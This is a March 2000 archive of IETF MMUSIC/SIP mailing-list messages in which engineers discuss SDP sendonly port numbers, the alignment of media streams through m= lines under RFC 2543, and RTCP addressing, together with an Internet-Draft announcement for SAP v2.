	Tue, 7 Mar 2000 12:29:26 +0100 (MET)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.75.22])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id NAA10378;
	Tue, 7 Mar 2000 13:29:23 +0200 (EET)
Message-ID: <38C4E84D.4560419F@lmf.ericsson.se>
Date: Tue, 07 Mar 2000 13:30:21 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>, sip <sip@lists.research.bell-labs.com>
Subject: Sendonly in SDP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

User A wants to establish a session with user B. They will have bi
directional audio.
A wants to send video to B, but A does not want to receive video from B.

A will add a parameter "a=sendonly" to its SDP. Since A does not want to
receive, A does not have to provide any local port number.

Is it correct to set the port number to 0??

m=video 0 RTP/AVP 31
a=sendonly

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue Mar  7 03:29:54 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA25101
	for confctrl-outgoing; Tue, 7 Mar 2000 03:29:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25096
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 03:29:53 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA20814
	for <confctrl@isi.edu>; Tue, 7 Mar 2000 03:29:58 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA29437;
	Tue, 7 Mar 2000 06:29:57 -0500 (EST)
Message-Id: <200003071129.GAA29437@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-06.txt
Date: Tue, 07 Mar 2000 06:29:56 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Announcement Protocol
	Author(s)	: M. Handley, C. Perkins, E. Whelan
	Filename	: draft-ietf-mmusic-sap-v2-06.txt
	Pages		: 15
	Date		: 06-Mar-00
	
This document describes version 2 of the multicast session
directory announcement protocol, SAP, and the related issues
affecting security and scalability that should be taken
into account by implementors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-06.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000306120648.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000306120648.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Mar  7 03:38:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA25554
	for confctrl-outgoing; Tue, 7 Mar 2000 03:38:44 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25549
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 03:38:42 -0800 (PST)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29125
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 03:38:46 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP id MAA25259;
	Tue, 7 Mar 2000 12:38:41 +0100 (MET)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.75.22])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id NAA10927;
	Tue, 7 Mar 2000 13:38:40 +0200 (EET)
Message-ID: <38C4EA7A.EDD13A5A@lmf.ericsson.se>
Date: Tue, 07 Mar 2000 13:39:38 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: sip <sip@lists.research.bell-labs.com>, mmusic <confctrl@ISI.EDU>
Subject: Mapping media streams
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

User A wants to establish a session with user B. A's SDP includes two
video streams.

m=video 1000 RTP/AVP 31
m=video 1002 RTP/AVP 31

User B wants to have just one video stream, so B sends back an SDP with
just one video description:

m=video 5000 RTP/AVP 31

How does A know which of its two video streams B wants to receive?

Should in these situations (multiple streams containing media of the
same type) the "i" attribute of SDP be used? (or it is not intended for
this?)

m=video 1000 RTP/AVP 31
i= front camera
m=video 1002 RTP/AVP 31
i= panoramic camera

This way B can choose wich one he wants to receive:

m=video 5000 RTP/AVP 31
i= front camera

This example may look pretty stupid, but when QoS preconditions are
added to the SDP there are some useful scenarios for this.

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue Mar  7 04:16:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA27644
	for confctrl-outgoing; Tue, 7 Mar 2000 04:16:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA27639
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 04:16:47 -0800 (PST)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA22945
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 04:16:53 -0800 (PST)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (Postfix) with ESMTP
	id 5B8A2151C; Tue,  7 Mar 2000 04:16:51 -0800 (PST)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id MAA13985;
	Tue, 7 Mar 2000 12:16:49 GMT
Message-ID: <38C4F349.E694991D@hplb.hpl.hp.com>
Date: Tue, 07 Mar 2000 12:17:13 +0000
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: sip <sip@lists.research.bell-labs.com>, mmusic <confctrl@ISI.EDU>
Subject: Re: Mapping media streams
References: <38C4EA7A.EDD13A5A@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Gonzalo Camarillo wrote:
> 
> Hi,
> 
> User A wants to establish a session with user B. A's SDP includes two
> video streams.
> 
> m=video 1000 RTP/AVP 31
> m=video 1002 RTP/AVP 31
> 
> User B wants to have just one video stream, so B sends back an SDP with
> just one video description:
> 
> m=video 5000 RTP/AVP 31
> 
> How does A know which of its two video streams B wants to receive?

This is all described in appendix B of rfc 2543.

   The caller and callee align their media descriptions so that the nth
   media stream ("m=" line) in the caller's session description
   corresponds to the nth media stream in the callee's description.

SDP bodies in 2xx responses to INVITEs must have the same number of m=
lines as did the request, and in the same order, i.e. the n'th m= line
of the response corresponds to the n'th line in the request.  If the
caller can't or doesn't want to establish a particular stream it must
still have the m= line in the response:

   If caller and callee have no media formats in common for a particular
   stream, the callee MUST return a session description containing the
   particular "m=" line, but with the port number set to zero, and no
   payload types listed.

In your example the callee might return

  m=video 5000 RTP/AVP 31
  m=video 0 RTP/AVP

Frankly, this method of referring to media streams isn't the most
wonderful aspect of SIP.  Once upon a time there was a thread on a
specific issue relating to SDP media alignment:

  http://www-uk.hpl.hp.com/people/ak/confctrl/1999/msg00297.html

> 
> Should in these situations (multiple streams containing media of the
> same type) the "i" attribute of SDP be used? (or it is not intended for
> this?)
> 
> m=video 1000 RTP/AVP 31
> i= front camera
> m=video 1002 RTP/AVP 31
> i= panoramic camera

Something along these lines was actually proposed by Peter Peldan.  The
idea was to associate a UID with media streams and then use that to
refer to them later, e.g. in the response to the initial INVITE and
later, when renegotiating streams using re-INVITEs.

IMHO this would be a big improvement on the present method of referring
to streams by position in the initial INVITE.  

> 
> This way B can choose wich one he wants to receive:
> 
> m=video 5000 RTP/AVP 31
> i= front camera
> 
> This example may look pretty stupid, but when QoS preconditions are
> added to the SDP there are some useful scenarios for this.
> 

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Mar  7 04:51:27 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA29247
	for confctrl-outgoing; Tue, 7 Mar 2000 04:51:27 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA29242
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 04:51:25 -0800 (PST)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id EAA08942
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 04:51:21 -0800 (PST)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id SAA08800;
	Tue, 7 Mar 2000 18:48:09 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2  (651.2 6-10-1998))  id 6525689B.00469D6D ; Tue, 7 Mar 2000 18:21:18 +0530
X-Lotus-FromDomain: HSSBLR
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
cc: mmusic <confctrl@ISI.EDU>, sip <sip@lists.research.bell-labs.com>
Message-ID: <6525689B.00469488.00@sampark.hss.hns.com>
Date: Tue, 7 Mar 2000 18:13:46 +0530
Subject: Re: Sendonly in SDP
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Referring appendix B.2 (bis draft) - for unicast transmission (which is
what  I guess you were asking)

For receive-only and send-or-receive streams, the port number and address
in the session description
indicate where the media stream should be sent to by the recipient of the
session description, either caller or
callee.

* For send-only streams, the address and port number have no significance
and SHOULD be set to zero.*

Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems







Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se> on 03/07/2000
05:00:21 PM

To:   mmusic <confctrl@ISI.EDU>, sip <sip@lists.research.bell-labs.com>
cc:

Subject:  Sendonly in SDP




Hi,

User A wants to establish a session with user B. They will have bi
directional audio.
A wants to send video to B, but A does not want to receive video from B.

A will add a parameter "a=sendonly" to its SDP. Since A does not want to
receive, A does not have to provide any local port number.

Is it correct to set the port number to 0??

m=video 0 RTP/AVP 31
a=sendonly

Thanks,

Gonzalo
--
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland






From confctrl-owner  Tue Mar  7 06:03:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02789
	for confctrl-outgoing; Tue, 7 Mar 2000 06:03:26 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02783
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 06:03:25 -0800 (PST)
Received: from goliath.dacor.com (ns1.dacor.net [205.133.75.2])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id GAA18988
	for <confctrl@isi.edu>; Tue, 7 Mar 2000 06:03:30 -0800 (PST)
Received: from veda-home.com (adsl-77.dacor.net [205.133.74.77]) by goliath.dacor.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id GFRTP9TX; Tue, 7 Mar 2000 09:03:29 -0500
Message-ID: <38C50D90.3275B1A3@veda-home.com>
Date: Tue, 07 Mar 2000 09:09:20 -0500
From: Telecom Tom <tom.scott@veda-home.com>
Organization: The Veda Home Company
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4m)
X-Accept-Language: en-US, es, de, fr
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: conferencing packages available now
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sippers,

We are looking for a cost-effective conferencing package for use by
non-public (Catholic and other private) schools in Northwest Ohio. Can
someone refer me to a vendor or freeware provider of SIP/SAP/SDP-based
conferencing software? 

Most of the schools will have access to the Mbone on T1/DS1 links in
the near future, but some may be restricted to ISDN BRI access for
several years. So we're looking for a solution that scales down to BRI
if necessary. However, a solution based on T1/DS1 connectivity would
be acceptable.

-- TT
------------------------------------------------
Tom Nelson Scott         tom.scott@veda-home.com
The Veda Home Company    Bowling Green, Ohio USA
"In IP We Trust"         "E Pluribus Unix"
------------------------------------------------

From confctrl-owner  Tue Mar  7 06:18:05 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA03452
	for confctrl-outgoing; Tue, 7 Mar 2000 06:18:05 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03447
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 06:17:55 -0800 (PST)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id GAA20959
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 06:18:00 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP id PAA29253;
	Tue, 7 Mar 2000 15:17:57 +0100 (MET)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.75.22])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id QAA17985;
	Tue, 7 Mar 2000 16:17:54 +0200 (EET)
Message-ID: <38C50FCB.89DBD8A3@lmf.ericsson.se>
Date: Tue, 07 Mar 2000 16:18:51 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ak@hplb.hpl.hp.com
CC: sip@lists.research.bell-labs.com, confctrl@ISI.EDU,
        Peter.Peldan@ellemtel.se
Subject: Re: Mapping media streams
References: <38C4F349.E694991D@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hej Anders,

Thanks for pointing out the URL with the previous discussion (I have
included a mail from Peter Peldan below). What was the final result of
the discussion?

Since I have seen no changes to the spec I guess the media alignment is
still done matching the nths "m" lines, right?

What about if the callee wants to add a media stream to the session?
The callee might want to send a new m line in the 200 OK. Should this be
allowed?

Comments?

Thanks,

Gonzalo

ak@hplb.hpl.hp.com wrote:
> 
> Gonzalo Camarillo wrote:
> >
> > Hi,
> >
> > User A wants to establish a session with user B. A's SDP includes two
> > video streams.
> >
> > m=video 1000 RTP/AVP 31
> > m=video 1002 RTP/AVP 31
> >
> > User B wants to have just one video stream, so B sends back an SDP with
> > just one video description:
> >
> > m=video 5000 RTP/AVP 31
> >
> > How does A know which of its two video streams B wants to receive?
> 
> This is all described in appendix B of rfc 2543.
> 
>    The caller and callee align their media descriptions so that the nth
>    media stream ("m=" line) in the caller's session description
>    corresponds to the nth media stream in the callee's description.
> 
> SDP bodies in 2xx responses to INVITEs must have the same number of m=
> lines as did the request, and in the same order, i.e. the n'th m= line
> of the response corresponds to the n'th line in the request.  If the
> caller can't or doesn't want to establish a particular stream it must
> still have the m= line in the response:
> 
>    If caller and callee have no media formats in common for a particular
>    stream, the callee MUST return a session description containing the
>    particular "m=" line, but with the port number set to zero, and no
>    payload types listed.
> 
> In your example the callee might return
> 
>   m=video 5000 RTP/AVP 31
>   m=video 0 RTP/AVP
> 
> Frankly, this method of referring to media streams isn't the most
> wonderful aspect of SIP.  Once upon a time there was a thread on a
> specific issue relating to SDP media alignment:
> 
>   http://www-uk.hpl.hp.com/people/ak/confctrl/1999/msg00297.html
> 
> >
> > Should in these situations (multiple streams containing media of the
> > same type) the "i" attribute of SDP be used? (or it is not intended for
> > this?)
> >
> > m=video 1000 RTP/AVP 31
> > i= front camera
> > m=video 1002 RTP/AVP 31
> > i= panoramic camera
> 
> Something along these lines was actually proposed by Peter Peldan.  The
> idea was to associate a UID with media streams and then use that to
> refer to them later, e.g. in the response to the initial INVITE and
> later, when renegotiating streams using re-INVITEs.
> 
> IMHO this would be a big improvement on the present method of referring
> to streams by position in the initial INVITE.
> 
> >
> > This way B can choose wich one he wants to receive:
> >
> > m=video 5000 RTP/AVP 31
> > i= front camera
> >
> > This example may look pretty stupid, but when QoS preconditions are
> > added to the SDP there are some useful scenarios for this.
> >
> 
> Anders
> 
> --
> Anders Kristensen <ak@hplb.hpl.hp.com>,
> http://www-uk.hpl.hp.com/people/ak/
> Hewlett-Packard Labs, Bristol, UK


************************************
Igor Slepchin said
>I think I misunderstood your intentions.

No Igor, you were more correct the first time but anyhow: I believe the
confusion seems to grow on both sides and it may be time to summarize
what we know:

1. Current suggestion in SIP is that we should/must line up all media
descriptors meaning that we cannot have one media-descriptor mapped to
two on the other side, or that we cannot allow one media-session being
described by two media-descriptors. If there are two media-descriptors
in the callers SDP, the caller wants two sessions and the callee should
accept both or send an error.

2. Ellemtel and HP-Labs plug-in architecture makes it desirable to allow
two media-descriptor for the same media-session. We wish to be able to
use two -- or more -- media descriptors for the same session. The callee
could accept the call by only supporting one of them.

What solutions do we see?

Solution 1. 
We allow multiple media descriptors for one session and label every
media-session with the i= field. There's no need to line up media
descriptors.
Advantage: Very flexible solution for using plug-ins. We do not tie up
the SDP to a too strict specification that may prevent future -- yet
unknown -- reasons for splitting session.
Disadvatage: We get backward compatibility problems. The callee's UAS
may not understand that the two media-descriptors belongs to the same
session, and may open two streams. We may get synchronization problems
when RTP-streams are switched between ports/modules.

Solution 2.
We keep the media-descriptor line-up requirement and make no changes.
Advantage: No changes to the current spec. We do not risk the kind of
synchronization problems described earlier.
Disadvatage: We tie up the SDP so strict that it may cause problems for
future session types that prefer to be splitted into multiple media
descriptors for whatever reason. It may cause an unflexible plug-in
architecture (which may be avoided to some extent by using the solution
below)


I believe solution 2 might be the best solution due to the problems of
backwards compatibility only. I am not happy about causing such an
inflexible SDP specification for SIP. Hopefully future session types can
all be fit into one media descriptor? 
The problem with using multiple e.g audio-plug-ins may perhaps be solved
by, in the UAC, automatically make another call with the other plug-in
if the first fails due to non-acceptabel media descriptor? The user will
in that case only notice a slight delay. For the callee there's no
problem since his UAS may choose what plug-in to use based on the
caller's SDP. We will only lose the possibility of switching between
plug-ins during the call, which perhaps noone really wants anyway?

Peter Peldan






-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue Mar  7 06:45:12 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA05003
	for confctrl-outgoing; Tue, 7 Mar 2000 06:45:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA04997
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 06:45:11 -0800 (PST)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29626
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 06:45:16 -0800 (PST)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (Postfix) with ESMTP
	id 3F5A7955; Tue,  7 Mar 2000 06:45:15 -0800 (PST)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id OAA22938;
	Tue, 7 Mar 2000 14:44:55 GMT
Message-ID: <38C515FF.BF96F211@hplb.hpl.hp.com>
Date: Tue, 07 Mar 2000 14:45:19 +0000
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: sip@lists.research.bell-labs.com, confctrl@ISI.EDU,
        Peter.Peldan@ellemtel.se
Subject: Re: Mapping media streams
References: <38C4F349.E694991D@hplb.hpl.hp.com> <38C50FCB.89DBD8A3@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Gonzalo Camarillo wrote:
> 
> Hej Anders,
> 
> Thanks for pointing out the URL with the previous discussion (I have
> included a mail from Peter Peldan below). What was the final result of
> the discussion?

Peter and myself got tired of arguing first, so the spec didn't change
;-). More seriously, this was after SIP had made it to proposed
standard, making it somewhat tricky to radically modify it. Also it
isn't *that* big a deal - OK so UAs may not be able to freely use codecs
from different RTP libraries within the same leg, but that's hardly the
end of the world.

I still think using explicit (and opaque) identifiers for media streams
in SDP (or whatever session description language is used) is preferable
as it's cleaner and simpler and probably less error prone than
rearranging and matching SDP m= lines.

> 
> Since I have seen no changes to the spec I guess the media alignment is
> still done matching the nths "m" lines, right?

Right.

> 
> What about if the callee wants to add a media stream to the session?
> The callee might want to send a new m line in the 200 OK. Should this be
> allowed?

I don't think anything in rfc 2543 disallows it, but I wouldn't have
thought many UAs would handle it the way you'd want it to. Ours
certainly wouldn't.  The callee could accept the call and then try a
re-INVITE, though.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Mar  7 08:32:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA10380
	for confctrl-outgoing; Tue, 7 Mar 2000 08:32:40 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10375
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 08:32:39 -0800 (PST)
Received: from reddot.dynamicsoft.com (reddot.dynamicsoft.com [216.89.83.6])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12107
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 08:32:44 -0800 (PST)
Received: from dynamicsoft.com ([216.89.83.2])
	by reddot.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA23856;
	Tue, 7 Mar 2000 11:32:51 -0500 (EST)
Message-ID: <38C5307E.6DE767D4@dynamicsoft.com>
Date: Tue, 07 Mar 2000 11:38:22 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>,
        mmusic <confctrl@ISI.EDU>, sip <sip@lists.research.bell-labs.com>
Subject: Re: Sendonly in SDP
References: <6525689B.00469488.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



archow@hss.hns.com wrote:
> 
> * For send-only streams, the address and port number have no significance
> and SHOULD be set to zero.*

This is true now, but we have just recently realized this is not
correct. The reason is RTCP - the SDP needs to convey the address where
the recipient can send RTCP to. As a result, I think we do need to
include an IP address and port. I think the port should be an even one
(indicating where RTP would be received on, even though no RTP will ever
be received), for consistency. RTCP would be sent to the port one
higher.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       200 Executive Drive
Chief Scientist                             Suite 120 
dynamicsoft                                 West Orange, NJ 07052
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Tue Mar  7 08:47:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA11164
	for confctrl-outgoing; Tue, 7 Mar 2000 08:47:04 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA11157
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 08:47:02 -0800 (PST)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15533
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 08:47:07 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP id RAA22848;
	Tue, 7 Mar 2000 17:47:03 +0100 (MET)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.75.22])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id SAA22206;
	Tue, 7 Mar 2000 18:47:02 +0200 (EET)
Message-ID: <38C532FB.A54436A3@lmf.ericsson.se>
Date: Tue, 07 Mar 2000 18:48:59 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: jdrosen@dynamicsoft.com
